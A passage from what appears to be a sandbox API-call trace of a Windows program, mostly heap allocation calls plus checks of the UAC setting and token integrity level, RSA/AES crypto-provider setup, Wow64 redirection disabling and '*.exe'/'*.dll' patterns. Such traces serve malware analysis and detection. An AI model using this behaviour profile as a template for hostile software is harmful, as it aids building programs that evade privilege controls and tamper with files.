BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.002] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.002] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.003] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.003] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d280) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d270) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d290) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2a0) returned 1 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.003] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0251.003] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x119c508, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x119c508*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0251.003] RegCloseKey (hKey=0x38) returned 0x0 [0251.003] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0251.003] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0251.003] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0251.003] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0251.003] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.003] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x119c628, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x119c628, ReturnLength=0x18fbfc) returned 1 [0251.003] GetSidSubAuthorityCount (pSid=0x119c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x119c631 [0251.003] GetSidSubAuthority (pSid=0x119c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x119c638 [0251.003] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c628) returned 1 [0251.003] NtClose (Handle=0xc4) returned 0x0 [0251.004] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x6c) returned 0x119b8e8 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c628 [0251.004] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c508 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c0 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5e0 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c598 [0251.004] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x990048 [0251.005] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c550 [0251.005] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c550) returned 1 [0251.005] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x592218) returned 1 [0251.021] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x990048) returned 1 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b960 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b9e8 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c550 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119ba70 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119baf8 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c478 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bb80 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c430 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x990048 [0251.021] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3e8 [0251.021] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3e8) returned 1 [0251.021] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0251.044] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x990048) returned 1 [0251.044] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x58cd30, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0251.044] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3e8 [0251.044] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0251.044] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3e8) returned 1 [0251.045] GetLastError () returned 0x0 [0251.045] LocalFree (hMem=0x58cd30) returned 0x0 [0251.045] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3e8 [0251.045] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x990048 [0251.045] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a0 [0251.045] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3a0) returned 1 [0251.045] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0251.046] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x990048) returned 1 [0251.046] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x58cd30, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0251.046] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a0 [0251.046] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0251.047] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c3a0) returned 1 [0251.047] GetLastError () returned 0x0 [0251.047] LocalFree (hMem=0x58cd30) returned 0x0 [0251.047] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a0 [0251.047] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x5000) returned 0x990048 [0251.047] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c358 [0251.047] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c358) returned 1 [0251.047] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x990048) returned 1 [0251.049] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x58cd30, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c358 [0251.049] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c358) returned 1 [0251.049] GetLastError () returned 0x0 [0251.049] LocalFree (hMem=0x58cd30) returned 0x0 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x990048 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc08 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c358 [0251.049] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x992850 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x992850 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.049] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.049] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d688 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d340 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d330 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d340) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d330) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d688) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d688 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d330 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d340 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.050] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.050] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d330) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d340) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d688) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x992850) returned 1 [0251.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c280, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119da58 [0251.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c280, cbMultiByte=5, lpWideCharStr=0x119da58, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119da58) returned 1 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d688 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d340 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119da58 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dae0) returned 1 [0251.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c310, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0251.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x119c310, cbMultiByte=5, lpWideCharStr=0x119dae0, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119db68 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119dae0) returned 1 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d330 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119dae0 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119db68) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2800) returned 0x992850 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.051] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.051] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119d670 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d350 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c280 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d360 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c238 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d320 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1f0 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119bc90 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d670) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d300 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c2c8 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2f0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0251.052] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2e0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x995058 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2d0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c670 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2c0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c6b8 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2b0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c700 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d2a0 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c748 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d290 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c790 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d270 [0251.052] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c7d8 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119d280 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c820 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c280) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d350) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c238) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d360) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1f0) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d320) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d310) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c2c8) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d300) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2f0) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119d2e0) returned 1 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc90) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c310) returned 1 [0251.053] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c310 [0251.053] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, 